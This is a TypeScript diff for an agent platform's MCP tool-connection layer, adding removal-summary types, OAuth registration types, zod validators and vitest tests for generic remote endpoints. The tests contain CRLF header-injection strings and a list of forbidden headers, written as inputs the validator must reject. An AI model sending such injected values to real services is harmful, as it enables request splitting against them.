export interface FieldDef { key:string; label:string; type:"text"|"password"|"textarea"|"datetime"|"select"|"checkbox"; required?:boolean; advanced?:boolean; placeholder?:string; helperMd?:string; secret?:boolean; prefix?:string; defaultValue?:string|boolean; validation?:{pattern?:string;maxLength?:number}; options?:Array<{value:string;label:string}>; transport?:{location:"query"|"header";name:string;format?:"string"|"csv"|"boolean";omitFalse?:boolean} }
|
||||
export interface ConnectionMethodDef { key:string; label?:string; transport:ToolConnectionTransport; auth:"oauth"|"api_key"|"none"; ownershipModes:ToolConnectionOwnership[]; whenToUse:string; defaults?:{serverUrl?:string;discoveryUrl?:string|null;serviceHost?:string;templateKey?:string;authorizationEndpoint?:string;tokenEndpoint?:string;metadataUrl?:string;scopesHint?:string[]}; tenantFields?:FieldDef[]; extensionFields?:FieldDef[]; configRequirements?:{atLeastOneOf?:string[]}; credentialFields?:FieldDef[]; keyPlacement?:{location:"header"|"query"|"body_json"|"env";name:string;prefix?:string|null}; guidanceMd:string; consoleLinks?:{register?:string;keys?:string;settings?:string;docs?:string}; warnings?:string[]; variants?:Array<{key:string;label:string;whenToUse:string;tenantFields?:FieldDef[]}>; riskTier:"S1"|"S2"|"S3"|"S4"; requiredResourceFilters?:string[] }
|
||||
export interface AppDefinition { schemaVersion:1; slug:string; name:string; description:string; categories:AppCategory[]; featured?:boolean; branding:{logoUrl:string;darkLogoUrl?:string;backgroundColor?:string;accentColor?:string}; urlPatterns:string[]; docsUrl?:string; redirectConstraints?:OAuthRedirectConstraints; methods:ConnectionMethodDef[]; suggestable?:boolean; availability?:{available:boolean;reason?:string;robotEmail?:string}; ownershipAvailability?:Partial<Record<ToolConnectionOwnership,boolean>> }
|
||||
|
|
|
|||
|
|
@ -450,8 +450,10 @@ export type {
|
|||
ToolAccessDecisionInput,
|
||||
ToolAccessReasonCode,
|
||||
ToolAccessSelector,
|
||||
ConnectToolAppAuthChallenge,
|
||||
ConnectToolAppResult,
|
||||
FinishToolAppResult,
|
||||
ToolOAuthClientRegistrationSource,
|
||||
ToolOAuthStartResult,
|
||||
ToolTrustRuleArgumentFilters,
|
||||
ToolTrustRuleBatchApprovalConfig,
|
||||
|
|
@ -477,6 +479,8 @@ export type {
|
|||
ToolConnectionInstall,
|
||||
ToolConnectionInstallSnapshot,
|
||||
ToolConnectionInstallTargetType,
|
||||
ToolConnectionRemovalResult,
|
||||
ToolConnectionRemovalSummary,
|
||||
ConnectionTokenAttribution,
|
||||
ConnectionRecoverableErrorCode,
|
||||
ConnectionRecoverableErrorPayload,
|
||||
|
|
|
|||
|
|
@ -190,6 +190,51 @@ export interface ToolConnectionInstallSnapshot {
|
|||
installs: ToolConnectionInstall[];
|
||||
}
|
||||
|
||||
/**
|
||||
* What a connection removal actually tore down (PAP-17119).
|
||||
*
|
||||
* Removing an app is a revocation boundary, not a cosmetic archive, so the
|
||||
* receipt is counts and outcomes only — never a secret name, key, or value,
|
||||
* because this summary is echoed into the activity log the whole company reads.
|
||||
*/
|
||||
export interface ToolConnectionRemovalSummary {
|
||||
/** Connection-owned secrets revoked at the provider and deleted locally. */
|
||||
secretsRevoked: number;
|
||||
/** Secrets left in place because another consumer still binds them. */
|
||||
secretsRetainedShared: number;
|
||||
/** Credential refs cleared off the connection row. */
|
||||
credentialRefsCleared: number;
|
||||
/** `company_secret_bindings` rows removed for this connection. */
|
||||
secretBindingsRemoved: number;
|
||||
grantsRevoked: number;
|
||||
installsRemoved: number;
|
||||
/**
|
||||
* `deleted` when the app-managed `app:<connectionId>` profile could go away,
|
||||
* `archived` when a gateway still references it (the row survives with no
|
||||
* entries and a non-active status), `absent` when there was never one.
|
||||
*/
|
||||
appProfile: "deleted" | "archived" | "absent";
|
||||
appProfileEntriesRemoved: number;
|
||||
appProfileBindingsRemoved: number;
|
||||
catalogEntriesMarkedRemoved: number;
|
||||
oauthStatesDiscarded: number;
|
||||
/** Token hashes wiped from the retained connection-token issuance ledger. */
|
||||
tokenIssuanceHashesCleared: number;
|
||||
/**
|
||||
* Live local runtimes shut down. A running child process holds the injected
|
||||
* credential in memory, so it is an access path of its own.
|
||||
*/
|
||||
runtimeSlotsStopped: number;
|
||||
gatewayTokensRevoked: number;
|
||||
gatewaySessionsRevoked: number;
|
||||
applicationArchived: boolean;
|
||||
}
|
||||
|
||||
export interface ToolConnectionRemovalResult {
|
||||
connection: ToolConnection;
|
||||
removal: ToolConnectionRemovalSummary;
|
||||
}
|
||||
|
||||
export type ConnectionTokenScope = string | string[];
|
||||
export type ConnectionTokenSubject = { type: "app" } | { type: "user"; userId: string };
|
||||
|
||||
|
|
@ -911,6 +956,29 @@ export interface ToolAppConnectionActionSummary {
|
|||
status: ToolCatalogEntryStatus;
|
||||
}
|
||||
|
||||
/**
|
||||
* How Paperclip obtained the OAuth client it will use for a connection
|
||||
* (PAP-17087). Ordered by preference: a client the deployment preconfigured for
|
||||
* that issuer, then a Client ID Metadata Document, then dynamic registration,
|
||||
* then client credentials the operator preregistered and pasted in.
|
||||
*/
|
||||
export type ToolOAuthClientRegistrationSource = "preconfigured" | "cimd" | "dcr" | "manual";
|
||||
|
||||
/**
|
||||
* What an unknown remote MCP endpoint told Paperclip it needs, so the wizard can
|
||||
* branch without re-probing. `manualClientRequired` means discovery succeeded but
|
||||
* the authorization server supports neither CIMD nor DCR, so the operator has to
|
||||
* supply a preregistered client under Advanced authentication.
|
||||
*/
|
||||
export interface ConnectToolAppAuthChallenge {
|
||||
kind: "oauth";
|
||||
startUrl: string | null;
|
||||
issuer?: string | null;
|
||||
resource?: string | null;
|
||||
registrationSource?: ToolOAuthClientRegistrationSource | null;
|
||||
manualClientRequired?: boolean;
|
||||
}
|
||||
|
||||
export interface ConnectToolAppResult {
|
||||
connectionId: string;
|
||||
application: ToolApplication;
|
||||
|
|
@ -921,10 +989,7 @@ export interface ConnectToolAppResult {
|
|||
canMakeChanges: ToolAppConnectionActionSummary[];
|
||||
};
|
||||
suggestedDefaults: Record<string, unknown>;
|
||||
auth?: {
|
||||
kind: "oauth";
|
||||
startUrl: string | null;
|
||||
} | null;
|
||||
auth?: ConnectToolAppAuthChallenge | null;
|
||||
}
|
||||
|
||||
export interface ToolOAuthStartResult {
|
||||
|
|
@ -932,6 +997,11 @@ export interface ToolOAuthStartResult {
|
|||
provider: string;
|
||||
authorizationUrl: string;
|
||||
expiresAt: string;
|
||||
/** Canonical authorization-server issuer this run is bound to, when discovered. */
|
||||
issuer?: string | null;
|
||||
/** RFC 8707 resource indicator sent with the request. */
|
||||
resource?: string | null;
|
||||
registrationSource?: ToolOAuthClientRegistrationSource | null;
|
||||
}
|
||||
|
||||
export interface FinishToolAppResult {
|
||||
|
|
@ -1341,6 +1411,8 @@ export interface ToolConnectionTestAgent {
|
|||
role: string;
|
||||
title: string | null;
|
||||
status: string;
|
||||
/** Zero-based depth in the company reporting tree; roots are highest-ranked. */
|
||||
orgDepth: number;
|
||||
effectiveAccess: ToolConnectionAccessSummary;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
import { z } from "zod";
|
||||
import { toolConnectionOwnershipSchema, toolConnectionTransportSchema } from "./tool-access.js";
|
||||
const field=z.object({key:z.string().min(1),label:z.string().min(1),type:z.enum(["text","password","textarea","datetime","select","checkbox"]),required:z.boolean().optional(),placeholder:z.string().optional(),helperMd:z.string().optional(),secret:z.boolean().optional(),prefix:z.string().optional()}).superRefine((v,c)=>{if(v.required&&v.type!=="checkbox"&&!v.placeholder)c.addIssue({code:"custom",message:"Required fields need placeholders",path:["placeholder"]})});
|
||||
export const connectionMethodDefSchema=z.object({key:z.string().min(1),transport:toolConnectionTransportSchema,auth:z.enum(["oauth","api_key","none"]),ownershipModes:z.array(toolConnectionOwnershipSchema).min(1),whenToUse:z.string().min(1),defaults:z.object({serverUrl:z.string().url().optional(),discoveryUrl:z.string().url().nullable().optional(),serviceHost:z.string().optional(),templateKey:z.string().optional(),authorizationEndpoint:z.string().url().optional(),tokenEndpoint:z.string().url().optional(),metadataUrl:z.string().url().optional(),scopesHint:z.array(z.string()).optional()}).optional(),tenantFields:z.array(field).optional(),extensionFields:z.array(field).optional(),credentialFields:z.array(field).optional(),keyPlacement:z.object({location:z.enum(["header","query","body_json","env"]),name:z.string().min(1),prefix:z.string().nullable().optional()}).optional(),guidanceMd:z.string().min(1),consoleLinks:z.object({register:z.string().url().optional(),keys:z.string().url().optional(),settings:z.string().url().optional(),docs:z.string().url().optional()}).optional(),warnings:z.array(z.string()).optional(),variants:z.array(z.object({key:z.string(),label:z.string(),whenToUse:z.string(),tenantFields:z.array(field).optional()})).optional(),riskTier:z.enum(["S1","S2","S3","S4"]),requiredResourceFilters:z.array(z.string()).optional()}).superRefine((v,c)=>{if(v.auth==="api_key"&&!v.keyPlacement)c.addIssue({code:"custom",message:"API-key methods require keyPlacement",path:["keyPlacement"]})});
|
||||
const field=z.object({key:z.string().min(1),label:z.string().min(1),type:z.enum(["text","password","textarea","datetime","select","checkbox"]),required:z.boolean().optional(),advanced:z.boolean().optional(),placeholder:z.string().optional(),helperMd:z.string().optional(),secret:z.boolean().optional(),prefix:z.string().optional(),defaultValue:z.union([z.string(),z.boolean()]).optional(),validation:z.object({pattern:z.string().optional(),maxLength:z.number().int().positive().optional()}).optional(),options:z.array(z.object({value:z.string(),label:z.string()})).optional(),transport:z.object({location:z.enum(["query","header"]),name:z.string().min(1),format:z.enum(["string","csv","boolean"]).optional(),omitFalse:z.boolean().optional()}).optional()}).superRefine((v,c)=>{if(v.required&&v.type!=="checkbox"&&!v.placeholder)c.addIssue({code:"custom",message:"Required fields need placeholders",path:["placeholder"]});if(v.type==="select"&&(!v.options||v.options.length===0))c.addIssue({code:"custom",message:"Select fields need options",path:["options"]})});
|
||||
export const connectionMethodDefSchema=z.object({key:z.string().min(1),label:z.string().min(1).optional(),transport:toolConnectionTransportSchema,auth:z.enum(["oauth","api_key","none"]),ownershipModes:z.array(toolConnectionOwnershipSchema).min(1),whenToUse:z.string().min(1),defaults:z.object({serverUrl:z.string().url().optional(),discoveryUrl:z.string().url().nullable().optional(),serviceHost:z.string().optional(),templateKey:z.string().optional(),authorizationEndpoint:z.string().url().optional(),tokenEndpoint:z.string().url().optional(),metadataUrl:z.string().url().optional(),scopesHint:z.array(z.string()).optional()}).optional(),tenantFields:z.array(field).optional(),extensionFields:z.array(field).optional(),configRequirements:z.object({atLeastOneOf:z.array(z.string().min(1)).min(1).optional()}).optional(),credentialFields:z.array(field).optional(),keyPlacement:z.object({location:z.enum(["header","query","body_json","env"]),name:z.string().min(1),prefix:z.string().nullable().optional()}).optional(),guidanceMd:z.string().min(1),consoleLinks:z.object({register:z.string().url().optional(),keys:z.string().url().optional(),settings:z.string().url().optional(),docs:z.string().url().optional()}).optional(),warnings:z.array(z.string()).optional(),variants:z.array(z.object({key:z.string(),label:z.string(),whenToUse:z.string(),tenantFields:z.array(field).optional()})).optional(),riskTier:z.enum(["S1","S2","S3","S4"]),requiredResourceFilters:z.array(z.string()).optional()}).superRefine((v,c)=>{if(v.auth==="api_key"&&!v.keyPlacement)c.addIssue({code:"custom",message:"API-key methods require keyPlacement",path:["keyPlacement"]});const keys=new Set([...(v.tenantFields??[]),...(v.extensionFields??[])].map((entry)=>entry.key));for(const key of v.configRequirements?.atLeastOneOf??[])if(!keys.has(key))c.addIssue({code:"custom",message:"Config requirement references an unknown field",path:["configRequirements","atLeastOneOf"]})});
|
||||
export const appDefinitionSchema=z.object({schemaVersion:z.literal(1),slug:z.string().regex(/^[a-z0-9]+(?:-[a-z0-9]+)*$/),name:z.string().min(1),description:z.string().min(1),categories:z.array(z.enum(["ai","analytics","commerce","communication","content","data","developer","productivity","other"])).min(1),featured:z.boolean().optional(),branding:z.object({logoUrl:z.string().url(),darkLogoUrl:z.string().url().optional(),backgroundColor:z.string().optional(),accentColor:z.string().optional()}),urlPatterns:z.array(z.string()),docsUrl:z.string().url().optional(),redirectConstraints:z.enum(["https-or-loopback-http"]).optional(),methods:z.array(connectionMethodDefSchema).min(1),suggestable:z.boolean().optional(),availability:z.object({available:z.boolean(),reason:z.string().optional(),robotEmail:z.string().optional()}).optional(),ownershipAvailability:z.object({platform_shared:z.boolean().optional(),platform_provisioned:z.boolean().optional(),customer:z.boolean().optional(),dcr:z.boolean().optional()}).optional()});
|
||||
export const appDefinitionsSchema=z.array(appDefinitionSchema).superRefine((v,c)=>{const s=new Set<string>();v.forEach((a,i)=>{if(s.has(a.slug))c.addIssue({code:"custom",message:"Duplicate slug",path:[i,"slug"]});s.add(a.slug)})});
|
||||
|
|
|
|||
|
|
@ -875,6 +875,11 @@ export {
|
|||
mcpConnectionCredentialRefSchema,
|
||||
createToolApplicationSchema,
|
||||
connectToolAppSchema,
|
||||
GENERIC_MCP_AUTH_MODES,
|
||||
genericMcpAuthModeSchema,
|
||||
genericMcpOAuthClientSchema,
|
||||
type GenericMcpAuthMode,
|
||||
type GenericMcpOAuthClient,
|
||||
reconnectToolAppSchema,
|
||||
finishToolAppSchema,
|
||||
updateToolApplicationSchema,
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
connectionTokenRequestSchema,
|
||||
connectToolAppSchema,
|
||||
createToolConnectionSchema,
|
||||
startConnectionAuthorizationSchema,
|
||||
toolCredentialSecretRefSchema,
|
||||
|
|
@ -48,6 +49,80 @@ describe("tool access validators", () => {
|
|||
}
|
||||
});
|
||||
|
||||
it("keeps app method configuration separate from secrets", () => {
|
||||
expect(connectToolAppSchema.safeParse({
|
||||
galleryKey: "posthog",
|
||||
connectionMethodKey: "mcp-api-key",
|
||||
configValues: { projectId: "12345", readOnly: true, features: "insights" },
|
||||
}).success).toBe(true);
|
||||
expect(connectToolAppSchema.safeParse({
|
||||
galleryKey: "posthog",
|
||||
configValues: { projectId: "12345", apiKey: "phx_raw" },
|
||||
}).success).toBe(false);
|
||||
});
|
||||
|
||||
// PAP-17087: the guided generic flow and paste-config both reach the connect
|
||||
// endpoint, so unsafe header names/values are rejected once at this boundary.
|
||||
it("accepts generic advanced-authentication input for a pasted URL", () => {
|
||||
const parsed = connectToolAppSchema.safeParse({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
authMode: "custom_headers",
|
||||
credentialValues: {
|
||||
"headers.X-Api-Key": "phx_abc123",
|
||||
"headers.X-PostHog-Project-Id": "12345",
|
||||
},
|
||||
});
|
||||
expect(parsed.success).toBe(true);
|
||||
|
||||
const manualClient = connectToolAppSchema.safeParse({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
authMode: "oauth",
|
||||
oauthClient: { clientId: "client-abc", clientSecret: "shhh" },
|
||||
});
|
||||
expect(manualClient.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects header credentials Paperclip refuses to send", () => {
|
||||
for (const configPath of ["headers.Host", "headers.Cookie", "headers.Transfer-Encoding", "headers.Sec-Fetch-Mode"]) {
|
||||
const parsed = connectToolAppSchema.safeParse({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
credentialValues: { [configPath]: "value" },
|
||||
});
|
||||
expect(parsed.success, configPath).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects header names and values that could split the outbound request", () => {
|
||||
const badName = connectToolAppSchema.safeParse({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
credentialValues: { "headers.X-Bad\r\nX-Injected": "value" },
|
||||
});
|
||||
expect(badName.success).toBe(false);
|
||||
|
||||
const badValue = connectToolAppSchema.safeParse({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
credentialValues: { "headers.X-Api-Key": "abc\r\nX-Injected: 1" },
|
||||
});
|
||||
expect(badValue.success).toBe(false);
|
||||
if (!badValue.success) {
|
||||
// The message names the header but must never echo the rejected value.
|
||||
const message = badValue.error.issues[0]?.message ?? "";
|
||||
expect(message).toContain("X-Api-Key");
|
||||
expect(message).not.toContain("X-Injected");
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps generic advanced authentication off the curated gallery path", () => {
|
||||
expect(connectToolAppSchema.safeParse({
|
||||
galleryKey: "posthog",
|
||||
authMode: "bearer",
|
||||
}).success).toBe(false);
|
||||
expect(connectToolAppSchema.safeParse({
|
||||
galleryKey: "posthog",
|
||||
oauthClient: { clientId: "client-abc" },
|
||||
}).success).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts secret references for connection credentials", () => {
|
||||
const parsed = createToolConnectionSchema.safeParse({
|
||||
applicationId: "11111111-1111-4111-8111-111111111111",
|
||||
|
|
|
|||
|
|
@ -30,6 +30,12 @@ import {
|
|||
TOOL_RUNTIME_KINDS,
|
||||
TOOL_RUNTIME_SLOT_STATUSES,
|
||||
} from "../constants.js";
|
||||
import {
|
||||
checkMcpRemoteHeaderName,
|
||||
checkMcpRemoteHeaderValue,
|
||||
mcpRemoteHeaderNameFromConfigPath,
|
||||
mcpRemoteHeaderRejectionMessage,
|
||||
} from "../mcp-remote-headers.js";
|
||||
import { jsonSchemaSchema } from "./plugin.js";
|
||||
import { objectWithoutDefaults } from "./partial.js";
|
||||
|
||||
|
|
@ -259,13 +265,100 @@ export const disableToolStdioCommandTemplateSchema = z.object({
|
|||
|
||||
export type DisableToolStdioCommandTemplate = z.infer<typeof disableToolStdioCommandTemplateSchema>;
|
||||
|
||||
/**
|
||||
* How an operator says a generic remote MCP endpoint authenticates (PAP-17087).
|
||||
*
|
||||
* `auto` is the default and the only value the simple path sends: Paperclip
|
||||
* probes the endpoint and branches on what it finds. The rest are the explicit
|
||||
* choices behind "Advanced authentication", where the operator already knows.
|
||||
*/
|
||||
export const GENERIC_MCP_AUTH_MODES = ["auto", "none", "bearer", "custom_headers", "oauth"] as const;
|
||||
|
||||
export const genericMcpAuthModeSchema = z.enum(GENERIC_MCP_AUTH_MODES);
|
||||
|
||||
export type GenericMcpAuthMode = z.infer<typeof genericMcpAuthModeSchema>;
|
||||
|
||||
/**
|
||||
* A preregistered OAuth client an operator pasted in because the authorization
|
||||
* server supports neither CIMD nor dynamic registration. The secret is write-only:
|
||||
* it becomes a Paperclip secret ref and is never read back.
|
||||
*/
|
||||
export const genericMcpOAuthClientSchema = z.object({
|
||||
clientId: z.string().trim().min(1).max(4096),
|
||||
clientSecret: z.string().min(1).max(16384).optional(),
|
||||
}).strict();
|
||||
|
||||
export type GenericMcpOAuthClient = z.infer<typeof genericMcpOAuthClientSchema>;
|
||||
|
||||
/**
|
||||
* Reject `headers.*` credential paths whose header name Paperclip refuses to
|
||||
* send, and any value that could split the outbound request. This runs at the
|
||||
* API boundary so both the guided wizard and normalized paste-config go through
|
||||
* exactly one gate; the service re-checks when it projects the headers.
|
||||
*/
|
||||
function rejectUnsafeHeaderCredentials(
|
||||
credentialValues: Record<string, string>,
|
||||
ctx: z.RefinementCtx,
|
||||
path: (string | number)[],
|
||||
) {
|
||||
for (const [configPath, value] of Object.entries(credentialValues)) {
|
||||
const headerName = mcpRemoteHeaderNameFromConfigPath(configPath);
|
||||
if (configPath.startsWith("headers.") && !headerName) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: [...path, configPath],
|
||||
message: "Header names cannot be blank.",
|
||||
});
|
||||
continue;
|
||||
}
|
||||
if (!headerName) continue;
|
||||
const nameCheck = checkMcpRemoteHeaderName(headerName);
|
||||
if (!nameCheck.ok) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: [...path, configPath],
|
||||
message: mcpRemoteHeaderRejectionMessage(headerName, nameCheck.reason!),
|
||||
});
|
||||
continue;
|
||||
}
|
||||
const valueCheck = checkMcpRemoteHeaderValue(value);
|
||||
if (!valueCheck.ok) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: [...path, configPath],
|
||||
message: mcpRemoteHeaderRejectionMessage(headerName, valueCheck.reason!),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export const connectToolAppSchema = z.object({
|
||||
galleryKey: z.string().trim().min(1).max(120).optional(),
|
||||
connectionMethodKey: z.string().trim().min(1).max(120).optional(),
|
||||
link: z.string().trim().url().max(2000).optional(),
|
||||
name: z.string().trim().min(1).max(160).optional(),
|
||||
credentialValues: z.record(z.string().trim().min(1).max(200), z.string().min(1)).optional(),
|
||||
configValues: z.record(z.string().trim().min(1).max(200), z.unknown()).optional(),
|
||||
applicationId: z.string().guid().optional(),
|
||||
authMode: genericMcpAuthModeSchema.optional(),
|
||||
oauthClient: genericMcpOAuthClientSchema.optional(),
|
||||
}).superRefine((value, ctx) => {
|
||||
if (value.configValues) rejectSensitiveConfigKeys(value.configValues, ctx, ["configValues"]);
|
||||
if (value.credentialValues) rejectUnsafeHeaderCredentials(value.credentialValues, ctx, ["credentialValues"]);
|
||||
if (value.authMode && value.galleryKey) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: ["authMode"],
|
||||
message: "Authentication mode selection applies to a pasted URL, not a gallery app",
|
||||
});
|
||||
}
|
||||
if (value.oauthClient && value.galleryKey) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: ["oauthClient"],
|
||||
message: "Preregistered OAuth client credentials apply to a pasted URL, not a gallery app",
|
||||
});
|
||||
}
|
||||
}).refine(
|
||||
(value) => Boolean(value.galleryKey) !== Boolean(value.link),
|
||||
{ message: "Provide exactly one of galleryKey or link" },
|
||||
|
|
|
|||
|
|
@ -49,6 +49,26 @@ App only after a human accepts the exact research revision and connection set.
|
|||
briefs, catalog files, issue text, plans, fixtures, screenshots, logs, branch
|
||||
names, commits, or PRs.
|
||||
|
||||
## Default Connection Experience
|
||||
|
||||
- Request the broadest vendor permissions and scopes the connection can
|
||||
support by default. Operators should not have to predict every future tool
|
||||
they may need during setup. Enforce safe use after connection through
|
||||
Paperclip's action catalog, resource boundaries, ask-first policies,
|
||||
quarantine, and audit controls.
|
||||
- Keep the default wizard limited to the minimum information needed to create
|
||||
a working connection: connection identity, authentication, and any
|
||||
unavoidable tenant or resource boundary. Put optional scope reduction,
|
||||
feature groups, individual tool filters, response modes, transport tuning,
|
||||
and other expert controls behind one collapsed **Advanced** disclosure.
|
||||
- Give advanced controls working broad defaults so an operator can finish
|
||||
setup without opening them. When a provider truly requires an explicit
|
||||
advanced choice, document the exception and explain it in plain language
|
||||
instead of exposing protocol details by default.
|
||||
- Treat vendor permission breadth and Paperclip execution governance as
|
||||
separate layers. Do not reduce requested vendor permissions merely to stand
|
||||
in for missing action review, approval, quarantine, or audit policy.
|
||||
|
||||
## Preflight
|
||||
|
||||
1. Load the current Paperclip skill for checkout, comments, interactions,
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
"schemaVersion": 1,
|
||||
"packageName": "@paperclipai/skills-catalog",
|
||||
"packageVersion": "0.3.1",
|
||||
"generatedAt": "2026-08-07T20:30:29.973Z",
|
||||
"generatedAt": "2026-08-11T15:05:34.526Z",
|
||||
"skills": [
|
||||
{
|
||||
"id": "paperclipai:bundled:docs:doc-maintenance",
|
||||
|
|
@ -1149,8 +1149,8 @@
|
|||
{
|
||||
"path": "SKILL.md",
|
||||
"kind": "skill",
|
||||
"sizeBytes": 11183,
|
||||
"sha256": "452386be3aa5e2988dc9d72f288f469975da766626a25c48017877963c533781"
|
||||
"sizeBytes": 12409,
|
||||
"sha256": "5278d288a0cbfe10fdda4ef3d99cf61e6ed068f4b6c1282406b0e001c9f45253"
|
||||
},
|
||||
{
|
||||
"path": "examples/notion-mcp-research-gate.md",
|
||||
|
|
@ -1159,7 +1159,7 @@
|
|||
"sha256": "944b13ac67c06c65643eb236e856f1479106749861535648d29334f84cf1b50b"
|
||||
}
|
||||
],
|
||||
"contentHash": "sha256:4dbb76624e0fd5502fa10a9168f77214c5020899838af887e77a1617a0a00c31"
|
||||
"contentHash": "sha256:84f2a28d7d004393719684f2b435e5ee01ddc58591e0dfeb73d72c7605db7f49"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -3,11 +3,20 @@ const root=process.cwd(); const corpus=process.env.PAPERCLIP_CONTENT_TEMPLATES??
|
|||
const out=path.join(root,"packages/shared/src/app-definitions"); const favicon=d=>`https://www.google.com/s2/favicons?domain=${d}&sz=128`;
|
||||
const field=(key,label,placeholder)=>({key,label,type:"password",required:true,placeholder,secret:true});
|
||||
const method=(key,transport,auth,defaults,riskTier,guidanceMd,extra={})=>({key,transport,auth,ownershipModes:auth==="oauth"?["customer","dcr"]:["customer"],whenToUse:transport==="mcp_remote"?"Use the provider-hosted connection for the quickest setup.":"Use credentials from your provider account.",defaults,guidanceMd,riskTier,...extra});
|
||||
const posthogConfigFields=()=>[
|
||||
{key:"projectId",label:"Project ID",type:"text",required:true,placeholder:"12345",helperMd:"Find the numeric project ID in PostHog project settings.",validation:{pattern:"^[0-9]+$",maxLength:32},transport:{location:"header",name:"x-posthog-project-id"}},
|
||||
{key:"readOnly",label:"Read-only mode",type:"checkbox",defaultValue:false,helperMd:"Turn on to hide tools that can change PostHog data.",transport:{location:"query",name:"readonly",format:"boolean",omitFalse:true}},
|
||||
{key:"features",label:"Feature groups",type:"textarea",advanced:true,placeholder:"Optional comma-separated feature groups",helperMd:"Leave blank to expose every feature group, or enter a comma-separated list to narrow access.",validation:{maxLength:500},transport:{location:"query",name:"features",format:"csv"}},
|
||||
{key:"tools",label:"Individual tools",type:"textarea",advanced:true,placeholder:"Optional comma-separated tool names",helperMd:"Leave blank to expose all tools. Exact names here are combined with any feature groups.",validation:{maxLength:2000},transport:{location:"query",name:"tools",format:"csv"}},
|
||||
{key:"mode",label:"Tool response mode",type:"select",advanced:true,required:true,placeholder:"Individual tools",defaultValue:"tools",options:[{value:"tools",label:"Individual tools"}],helperMd:"Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.",transport:{location:"query",name:"mode"}},
|
||||
];
|
||||
const posthogMethod=(key,auth,extra={})=>method(key,"mcp_remote",auth,{serverUrl:"https://mcp.posthog.com/mcp"},"S3","Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.",{tenantFields:posthogConfigFields(),requiredResourceFilters:["project"],...extra});
|
||||
const apps=[
|
||||
["zapier","Zapier","Reach thousands of apps through your Zapier account.","productivity","zapier.com",["https://mcp.zapier.com/*"],method("mcp-key","mcp_remote","api_key",{serverUrl:"https://mcp.zapier.com/api/mcp"},"S3","Create a Zapier MCP connection, then paste its token here.",{credentialFields:[field("authorization","Zapier MCP token","Paste your Zapier token")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "}})],
|
||||
["github","GitHub","Read code and pull requests, and coordinate repository work.","developer","github.com",["https://api.githubcopilot.com/mcp/*"],method("mcp-key","mcp_remote","api_key",{serverUrl:"https://api.githubcopilot.com/mcp/"},"S3","Create a fine-grained token limited to the repositories agents should use.",{credentialFields:[field("authorization","GitHub token","github_pat_...")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "},requiredResourceFilters:["organization","repository"]})],
|
||||
["slack","Slack","Search channels and coordinate team communication.","communication","slack.com",["https://mcp.slack.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.slack.com/mcp",authorizationEndpoint:"https://slack.com/oauth/v2/authorize",tokenEndpoint:"https://slack.com/api/oauth.v2.access",scopesHint:["channels:read","chat:write","search:read"]},"S3","Connect a Slack workspace and limit access to the channels agents need.",{requiredResourceFilters:["workspace","channel"]})],
|
||||
["notion","Notion","Read and update pages in your Notion workspace.","content","notion.so",["https://mcp.notion.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.notion.com/mcp"},"S3","Connect Notion for workspace content. Share only the pages and databases agents should use.",{requiredResourceFilters:["workspace","page","database"]}),{redirectConstraints:"https-or-loopback-http"}],
|
||||
["posthog","PostHog","Analyze product usage, errors, feature flags, and experiments in a pinned PostHog project.","analytics","posthog.com",["https://mcp.posthog.com/*"],[posthogMethod("mcp-oauth","oauth",{label:"Sign in with PostHog",ownershipModes:["customer","dcr"],whenToUse:"Sign in with PostHog in the browser. Recommended for hosted PostHog accounts.",consoleLinks:{docs:"https://posthog.com/docs/model-context-protocol"}}),posthogMethod("mcp-api-key","api_key",{label:"Use a personal API key",whenToUse:"Use a PostHog personal API key when browser sign-in is not suitable.",credentialFields:[field("authorization","PostHog personal API key","phx_...")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "},consoleLinks:{keys:"https://posthog.com/docs/model-context-protocol/faq",docs:"https://posthog.com/docs/model-context-protocol/faq"}})],{featured:true}],
|
||||
["linear","Linear","Create, update, and read Linear issues.","productivity","linear.app",["https://mcp.linear.app/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.linear.app/mcp",authorizationEndpoint:"https://linear.app/oauth/authorize",tokenEndpoint:"https://api.linear.app/oauth/token",scopesHint:["read","write"]},"S2","Register a Linear OAuth app and add Paperclip's redirect URI before connecting.",{requiredResourceFilters:["workspace","team","project"]})],
|
||||
["google-sheets","Google Sheets","Read and update selected spreadsheets.","data","sheets.google.com",["https://docs.google.com/spreadsheets/*","https://sheets.google.com/*"],method("local","local_stdio","none",{templateKey:"paperclip.google-sheets"},"S3","Share each spreadsheet with the Paperclip robot email, then paste the sheet links.",{requiredResourceFilters:["spreadsheet"]})],
|
||||
["context7","Context7","Look up current documentation for software libraries.","developer","context7.com",["https://mcp.context7.com/*"],method("mcp","mcp_remote","none",{serverUrl:"https://mcp.context7.com/mcp"},"S1","Connect Context7 to give agents current library documentation.")],
|
||||
|
|
@ -16,7 +25,7 @@ const apps=[
|
|||
